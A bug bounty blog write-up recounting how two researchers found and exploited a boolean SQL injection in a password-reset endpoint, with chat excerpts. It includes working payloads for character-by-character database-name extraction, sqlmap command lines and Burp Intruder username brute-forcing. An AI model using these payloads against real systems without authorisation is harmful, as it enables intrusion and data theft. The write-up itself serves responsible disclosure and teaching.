H3K

Bug Bounty Collaboration and Manual Exploitation of an Interesting Boolean SQL Injection

This blog post describes how collaboration and re-checking your notes after a period of time can aid in finding critical vulnerabilities.

It may be quiet long but I decided to document the whole process behind finding a critical vulnerability.

How did it start?

On 18.03.2022 I messaged Mr. X (that’s how I’ll call him as he preferred to remain anonymous) about some a collaboration. I have noticed Mr. X had some nice streaks on Intigriti and decided to give it a try.

✉️ 0xtavi — 03/18/2022
Idk how to formulate this, I see you are pretty active on the intigriti community and I was wondering if you would be up for some future collaboration.
I kinda lost my motivation and I’m looking for a hunting “buddy”.
In the past I’ve collaborated with someone and it went really well, we found some criticals on a private intigriti program.
This is my intigriti profile: https://app.intigriti.com/researcher/profile/octavianfeodot I don’t use any automation other than burp suite plugins

✉️ Mr. X — 03/18/2022
Thank you very much for asking!
At the time, I have not experience doing bug bounties in collaboration.
But I’m happy to try :)
Let me know how does it works.

After some discussion we decided to collaborate. I’ve sent him some intersting stuff I found and he sent me the details of a potential SQLi vulnerability he found.

Disclaimer: Be careful who you trust when you are sending details regarding a potential vulnerability you have found. Also check if the program scope allows collaboration.

✉️ Mr. X — 03/18/2022
hahahaha
-> The vulnerable endpoint is a “reset password” functionality
-> There’s only 1 parameter in the request, the user name.\

0xtavi — 03/18/2022
Can you send me the HTTP request?

✉️ Mr. X — 03/18/2022
-> The query string gets broken with a single quote username=username_here’
✉️ Mr. X — 03/18/2022
Yes yes

POST /redacted/passwordResetFunctionality.action HTTP/1.1
Host: redacted

username=s*

Sending username=test’ returns Error page.
Sending username=test’’ returns 200 OK.
Sending username=test’’’ returns Error page.
Sending username=test’ || ‘ returns 200 OK.
Sending username=test’ || ‘another string’ || ‘ returns 200 OK.

The first obvious thing I tried was to add the request in sqlmap and play with different syntaxes (adding prefix/suffix, different tampering scripts etc.)

I have also fuzzed the endpoints with various time-based sqli paylaods but with no success. I suspect there is a WAF in place which blocks certain keywords like SLEEP.

I eventually found a way to enumerate column names but it was still not a sufficient Proof of Concept.

✉️ 0xtavi — 03/21/2022
I used the following query and was able to enumerate column names
username=string’||{INJECTED}||’string - will usually return 200 OK, 347 CL if a valid column name is found
I fuzzed it and emailParam and loginParam are valid column names
Image
This query is also first sql valid query I was able to create
username=string’and’’||loginParam||’‘like’xyz, but unfortunately the response is still too blind. WAF is blocking any space or /**/ so I didn’t find a way to create spaces

I was eventually wrong, WAF was not blocking spaces but that’s what the responses made me think at that time.

I found a better valid query to start from but it was still not enough.

✉️ Mr. X — 03/21/2022
Got it, can you please show me the query you are testing, so I can work on waff bypasses as well tonight?

✉️ 0xtavi — 03/21/2022
username=string’and’’+||loginParam||+’‘like’xyz
you can notice is a valid sql query, if you replace and with andz it will crash
I would like to take a break on this as I don’t really have much energy/creativity on it. Let me know what you find maybe you level it up and I go from there


Recap

We have found a potential SQL Injection vulnerability.

Request (non existing user)

POST /redacted/passwordResetFunctionality.action HTTP/1.1
Host: redacted

username=test1234567

--Response
HTTP/2 200 OK
Content-Length: 1337

No active user found.

Request (SQLi behavior)

POST /redacted/passwordResetFunctionality.action HTTP/1.1
Host: redacted

username=test1234567'

--Response
HTTP/2 200 OK
Content-Length: 713317

blablabla
SYSTEM EXCEPTION
blablabla

Request (SQLi behavior - non existing user)

POST /redacted/passwordResetFunctionality.action HTTP/1.1
Host: redacted

username=test1234567''

--Response
HTTP/2 200 OK
Content-Length: 1337

No active user found.

At this point there were still multiple puzzle pieces missing.

Note: The application didn’t allow user registration. We had no clue on what valid users look like.

Unfortunately, we abandoned the vulnerability for ~3 months.


More progress after a long break

On 12/06/2022 I was bored so I have started browsing my bug bounty notes for organizing purposes. I stambled upon Mr. X’s SQLi. I began testing it to confirm it is still existing.

The vulnerability was still there.

My mind was fresh so I had some new ideas on how to tackle this. From the first exploitation attempt I was really curious how the application would respond if a valid username is sent.

I grabbed 10000 username entries from seclists.

shell> cat $PATH/SecLists/Usernames/xato-net-10-million-usernames.txt | head -n 10000 | pbcopy

I started brute-forcing (respecting the program’s policy) the endpoint for valid usernames. I used Burp Intruder for simplicity.

Intruder Request

POST /redacted/passwordResetFunctionality.action HTTP/1.1
Host: redacted

username=§§

The following response was interesting. In indicates that the username is valid but inactive.

Request

POST /redacted/passwordResetFunctionality.action HTTP/1.1
Host: redacted

username=superman

--Response
HTTP/2 200 OK
Content-Length: 777

Inactive user

I now have a valid username. Although it is inactive, this was better cause I was not deliberately spamming any user’s mailbox.

Boolean testing should be easier now as I can control the final output that is consumed by the application.

Just a small sanity check with the initial information I had from Mr. X regarding the vulnerability. Oracle string concatenation works.

Request

POST /redacted/passwordResetFunctionality.action HTTP/1.1
Host: redacted

username=superma'||'n

--Response
HTTP/2 200 OK
Content-Length: 777

Inactive user

I was able to do multiple boolean stuff which allowed me to enumerate the following:

  • column names: username=superma'||<table_name>||'n
  • table names: username=superm'||SELECT CASE WHEN (SELECT 1 FROM table)='from' THEN 'a' ELSE 'z' END||n

At this point I have also used sqlmap for fuzzing. The insertion point being the column name.

shell> sqlmap -r /tmp/sqlmap --level 5 --risk 3 --dbs --proxy=http://127.0.0.1:8080 --dbms oracle --suffix "||'man" --prefix "super'||" -p username
shell> sqlmap -r /tmp/sqlmap --level 5 --risk 3 --dbs --proxy=http://127.0.0.1:8080 --dbms oracle --prefix "super'||" -p username
shell> sqlmap -r /tmp/sqlmap --level 5 --risk 3 --dbs --proxy=http://127.0.0.1:8080 --dbms oracle --suffix "||'man" -p username

No succes, so I decided to submit the vulnerability to Intigriti including all of the boolean SQLi proofs I have gathered.

Although I had multiple proof for confirming a boolean injection attack, the triager asked for a time-based payload or database name/username enumeration PoC.


Final Puzzle Piece

The main reason I couldn’t initially find a viable exploitation vector was due to the fact that the all clues were indicating to a Oracle SQL database. I have tried all possible Oracle SQLi payloads possible from pentestmonkey. The main clue indicating to an Oracle SQL database was the possibility to do string concatenation using the following syntax a'||'b which is specific to Oracle databases.

I randomly inserted a few mssql syntaxes like username=superma'||DB_NAME()||'n which magically worked. This gave me hope I can find a solution to the puzzle.

Note: It is possible for sqlmap to work using the preffix/suffix syntaxes if I would have tried withoout --dbms oracle flag. ✉️ Anyways, few minutes later I was able to enumerate the database name using Burp Intruder.

Intruder Request

POST /redacted/passwordResetFunctionality.action HTTP/1.1
Host: redacted

username=superm'||SELECT CASE WHEN (SELECT substring(DB_NAME(),§param1§,1))=param2§' THEN 'a' ELSE 'x' END||'n

§param1§ should contain numbers ranging from 0 to X. X being the maximum database name length.

§param2§ should contain a-z0-9.

I was able to enumerate the database name characters.

1). First character: s

username=superm'||SELECT CASE WHEN (SELECT substring(DB_NAME(),1,1))='s' THEN 'a' ELSE 'x' END||'n

2). Second character: u

username=superm'||SELECT CASE WHEN (SELECT substring(DB_NAME(),2,1))='u' THEN 'a' ELSE 'x' END||'n

N). Database name: superman-database

username=superm'||SELECT CASE WHEN (SELECT DB_NAME())='superman-database' THEN 'a' ELSE 'x' END||'n

I finally had a valid Proof of Concept.


Conclusion

Exploiting this vulnerability was really fun and challenging. I’ve started to get a bigger interest in finding and exploiting unexploitable manual SQLis.

Collaborating with Mr. X was really fun. I’m grateful he trust me to share the vulnerability details and he was positive with the collaboration.

The vulnerability was triaged and 2 days later it was accepted by the company. It was marked as Critical and the payment was less than 1000€, being split 50/50 between me and Mr. X each of us got less than 500€.

Lessons learned:

  • don’t rely on sqlmap
  • take notes on important stuff, you may look at them from a different perspective after certain time
  • although all data indicate there is X database, test Y database payloads as well
  • new manual ways for finding potential SQLis
  • for SQLi collaborations contact @0xtavi (jk)

🥷